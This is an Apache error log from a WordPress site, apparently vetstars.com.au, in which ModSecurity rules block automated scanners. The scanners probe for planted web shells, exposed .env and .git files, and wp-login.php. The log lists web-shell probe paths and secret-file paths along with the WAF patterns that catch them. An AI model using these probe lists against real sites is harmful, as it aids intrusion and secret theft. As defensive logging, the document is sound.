[Sat Dec 06 18:32:45.713154 2025] [:error] [pid 52809:tid 52834] [client 4.147.185.30:7060] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTQGTerRwgsmpIJQ2qZshQAAAhc"]
[Sat Dec 06 18:32:53.538930 2025] [:error] [pid 61215:tid 61243] [client 4.147.185.30:7015] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTQGVeOOZ8nTCBYuI-w-EwAAABg"]
[Sat Dec 06 18:32:57.487022 2025] [:error] [pid 1838:tid 1846] [client 4.147.185.30:7153] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "aTQGWS5zgnu67Yo7vrb2AwAAAoA"]
[Sat Dec 06 18:33:00.379493 2025] [:error] [pid 35622:tid 35670] [client 4.147.185.30:7156] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "aTQGXCOSP_9DVLgFwI6zeQAAAZM"]
[Sat Dec 06 18:33:02.225140 2025] [:error] [pid 35622:tid 35673] [client 4.147.185.30:7075] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "aTQGXiOSP_9DVLgFwI6zegAAAZY"]
[Sat Dec 06 18:33:02.757371 2025] [:error] [pid 35622:tid 35667] [client 4.147.185.30:7086] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "aTQGXiOSP_9DVLgFwI6zewAAAZA"]
[Sat Dec 06 18:33:03.380772 2025] [:error] [pid 1727:tid 1741] [client 4.147.185.30:7167] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aTQGX8D83luYT37-ZaX-GwAAAkw"]
[Sat Dec 06 18:33:05.764480 2025] [:error] [pid 61216:tid 61252] [client 4.147.185.30:7133] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aTQGYTHlXXVdP5ewviUNXgAAAEY"]
[Sat Dec 06 18:33:09.456876 2025] [:error] [pid 61216:tid 61256] [client 4.147.185.30:7064] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aTQGZTHlXXVdP5ewviUNYAAAAEo"]
[Sat Dec 06 18:33:37.707411 2025] [autoindex:error] [pid 35591:tid 35617] [client 4.147.185.30:7124] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 06 18:33:39.225978 2025] [:error] [pid 61303:tid 61308] [client 4.147.185.30:7151] [client 4.147.185.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aTQGg9wK_fe00OH7zy6GTwAAAMI"]
[Sat Dec 06 18:34:06.872377 2025] [:error] [pid 61303:tid 61318] [client 4.147.185.30:6981] [client 4.147.185.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aTQGntwK_fe00OH7zy6GbgAAAMw"]
[Sat Dec 06 18:34:12.688360 2025] [autoindex:error] [pid 61303:tid 61323] [client 4.147.185.30:7111] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 06 18:34:16.228730 2025] [:error] [pid 35622:tid 35672] [client 4.147.185.30:7078] [client 4.147.185.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aTQGqCOSP_9DVLgFwI6zmQAAAZU"]
[Sat Dec 06 18:34:40.618626 2025] [:error] [pid 52809:tid 52816] [client 4.147.185.30:7143] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aTQGwOrRwgsmpIJQ2qZsyAAAAgU"]
[Sat Dec 06 18:34:41.701086 2025] [:error] [pid 35622:tid 35655] [client 4.147.185.30:7121] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aTQGwSOSP_9DVLgFwI6znwAAAYQ"]
[Sat Dec 06 18:34:44.570417 2025] [:error] [pid 61216:tid 61250] [client 4.147.185.30:7166] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aTQGxDHlXXVdP5ewviUNkAAAAEQ"]
[Sat Dec 06 18:34:48.777533 2025] [:error] [pid 1838:tid 1863] [client 4.147.185.30:7056] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aTQGyC5zgnu67Yo7vrb2SAAAApE"]
[Sat Dec 06 18:34:51.739348 2025] [:error] [pid 1838:tid 1850] [client 4.147.185.30:7129] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aTQGyy5zgnu67Yo7vrb2SgAAAoQ"]
[Sat Dec 06 18:34:54.682120 2025] [:error] [pid 61216:tid 61269] [client 4.147.185.30:6997] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aTQGzjHlXXVdP5ewviUNkwAAAFc"]
[Sat Dec 06 18:34:59.372274 2025] [:error] [pid 61215:tid 61231] [client 4.147.185.30:7053] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aTQG0-OOZ8nTCBYuI-w-RwAAAAw"]
[Sat Dec 06 18:35:08.503015 2025] [:error] [pid 52809:tid 52833] [client 4.147.185.30:6984] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wikindex.php"] [unique_id "aTQG3OrRwgsmpIJQ2qZszwAAAhY"]
[Sat Dec 06 18:35:11.312470 2025] [:error] [pid 52809:tid 52825] [client 4.147.185.30:7150] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wikindex.php"] [unique_id "aTQG3-rRwgsmpIJQ2qZs0wAAAg4"]
[Sat Dec 06 18:35:13.294516 2025] [:error] [pid 61217:tid 61281] [client 4.147.185.30:7116] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wikindex.php"] [unique_id "aTQG4VdSKQYfLI3fYo54-AAAAIg"]
[Sat Dec 06 18:35:16.894124 2025] [:error] [pid 48399:tid 48416] [client 4.147.185.30:7049] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wikindex.php"] [unique_id "aTQG5OjNPOrIshd8EwevsAAAAc8"]
[Sat Dec 06 18:35:21.722322 2025] [:error] [pid 1838:tid 1855] [client 4.147.185.30:7058] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aTQG6S5zgnu67Yo7vrb2XAAAAok"]
[Sat Dec 06 18:35:31.896282 2025] [:error] [pid 1727:tid 1732] [client 4.147.185.30:7123] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aTQG88D83luYT37-ZaX-WwAAAkM"]
[Sat Dec 06 18:37:23.399051 2025] [:error] [pid 35622:tid 35656] [client 34.218.74.157:36390] [client 34.218.74.157] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/"] [unique_id "aTQHYyOSP_9DVLgFwI6z4QAAAYU"]
[Sat Dec 06 18:37:24.175816 2025] [:error] [pid 48399:tid 48401] [client 34.218.74.157:36398] [client 34.218.74.157] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aTQHZOjNPOrIshd8Ewev6gAAAcA"]
[Sat Dec 06 22:14:41.192143 2025] [:error] [pid 61303:tid 61319] [client 3.104.76.111:53120] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aTQ6UdwK_fe00OH7zy6xtgAAAM0"]
[Sat Dec 06 22:14:41.747674 2025] [:error] [pid 35591:tid 35608] [client 3.104.76.111:53304] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "aTQ6UYbmw-7bFvTxc9MtfgAAAQ8"]
[Sat Dec 06 22:14:43.272134 2025] [:error] [pid 35591:tid 35601] [client 3.104.76.111:53946] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev"] [unique_id "aTQ6U4bmw-7bFvTxc9MtgAAAAQg"]
[Sat Dec 06 22:14:43.666544 2025] [:error] [pid 52809:tid 52822] [client 3.104.76.111:54040] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.prod"] [unique_id "aTQ6U-rRwgsmpIJQ2qaSogAAAgs"]
[Sat Dec 06 22:14:44.511381 2025] [:error] [pid 48399:tid 48419] [client 3.104.76.111:54000] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "aTQ6VOjNPOrIshd8EwfORAAAAdI"]
[Sat Dec 06 22:14:45.215845 2025] [:error] [pid 1838:tid 1860] [client 3.104.76.111:54250] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "aTQ6VS5zgnu67Yo7vrY4oQAAAo4"]
[Sat Dec 06 22:14:46.635856 2025] [:error] [pid 35591:tid 35612] [client 3.104.76.111:55302] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.1"] [unique_id "aTQ6Vobmw-7bFvTxc9MthAAAARM"]
[Sat Dec 06 22:14:47.784451 2025] [:error] [pid 61216:tid 61248] [client 3.104.76.111:55320] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.remote"] [unique_id "aTQ6VzHlXXVdP5ewviVAZQAAAEI"]
[Sat Dec 06 22:14:47.784455 2025] [:error] [pid 35591:tid 35615] [client 3.104.76.111:55128] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.sample"] [unique_id "aTQ6V4bmw-7bFvTxc9MthgAAARY"]
[Sat Dec 06 22:14:47.785405 2025] [:error] [pid 61216:tid 61250] [client 3.104.76.111:55300] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.save"] [unique_id "aTQ6VzHlXXVdP5ewviVAZgAAAEQ"]
[Sat Dec 06 22:14:48.172600 2025] [:error] [pid 52809:tid 52826] [client 3.104.76.111:55304] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.2"] [unique_id "aTQ6WOrRwgsmpIJQ2qaSrAAAAg8"]
[Sat Dec 06 22:14:49.579915 2025] [:error] [pid 52809:tid 52812] [client 3.104.76.111:56418] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "aTQ6WerRwgsmpIJQ2qaSrwAAAgE"]
[Sat Dec 06 22:14:49.583780 2025] [:error] [pid 61303:tid 61314] [client 3.104.76.111:56416] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/config/.env"] [unique_id "aTQ6WdwK_fe00OH7zy6xvAAAAMg"]
[Sat Dec 06 22:14:49.727131 2025] [:error] [pid 1838:tid 1862] [client 3.104.76.111:56436] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/src/.env"] [unique_id "aTQ6WS5zgnu67Yo7vrY4ogAAApA"]
[Sat Dec 06 22:14:49.740741 2025] [:error] [pid 1838:tid 1858] [client 3.104.76.111:56434] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "aTQ6WS5zgnu67Yo7vrY4owAAAow"]
[Sat Dec 06 22:14:52.414307 2025] [:error] [pid 1727:tid 1748] [client 3.104.76.111:56620] [client 3.104.76.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backend/.env"] [unique_id "aTQ6XMD83luYT37-ZaUhDgAAAlM"]
[Sat Dec 06 23:35:29.411084 2025] [:error] [pid 61216:tid 61253] [client 35.87.144.223:59560] [client 35.87.144.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/"] [unique_id "aTRNQTHlXXVdP5ewviVTrQAAAEc"]
[Sat Dec 06 23:35:30.400761 2025] [:error] [pid 1727:tid 1733] [client 35.87.144.223:59574] [client 35.87.144.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aTRNQsD83luYT37-ZaUyMgAAAkQ"]
[Sun Dec 07 00:43:40.727671 2025] [:error] [pid 44818:tid 44874] [client 180.102.134.69:40032] [client 180.102.134.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTRdPFM8svkkGGrcPqOqewAAAFc"]
[Sun Dec 07 01:59:49.699808 2025] [proxy_fcgi:error] [pid 64409:tid 64481] [client 74.176.186.152:39747] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Sun Dec 07 01:59:49.832074 2025] [:error] [pid 64409:tid 64462] [client 74.176.186.152:39747] [client 74.176.186.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.176.186.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aTRvFUGzBNWhWo-aXwQ-gwAAAQI"], referer: https://www.google.com/
[Sun Dec 07 01:59:49.837964 2025] [proxy_fcgi:error] [pid 64409:tid 64462] [client 74.176.186.152:39747] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Sun Dec 07 02:02:06.200906 2025] [autoindex:error] [pid 29378:tid 29400] [client 74.176.186.152:52928] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Dec 07 02:02:10.170412 2025] [:error] [pid 29378:tid 29391] [client 74.176.186.152:52928] [client 74.176.186.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.176.186.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTRvoq0NYr_cN2P9iw699wAAAUs"], referer: https://www.google.com/
[Sun Dec 07 02:02:15.417249 2025] [:error] [pid 29378:tid 29397] [client 74.176.186.152:52928] [client 74.176.186.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.176.186.152, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTRvp60NYr_cN2P9iw6-BgAAAVE"], referer: https://www.google.fr/
[Sun Dec 07 02:02:41.979690 2025] [:error] [pid 64409:tid 64471] [client 74.176.186.152:39747] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aTRvwUGzBNWhWo-aXwQ_VgAAAQo"], referer: https://www.google.com/
[Sun Dec 07 02:02:42.251996 2025] [:error] [pid 44818:tid 44857] [client 74.176.186.152:58805] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aTRvwlM8svkkGGrcPqO_7AAAAEY"], referer: https://www.google.com/
[Sun Dec 07 02:02:42.727974 2025] [:error] [pid 29378:tid 29383] [client 74.176.186.152:38116] [client 74.176.186.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aTRvwq0NYr_cN2P9iw6-JQAAAUM"], referer: https://www.google.de/
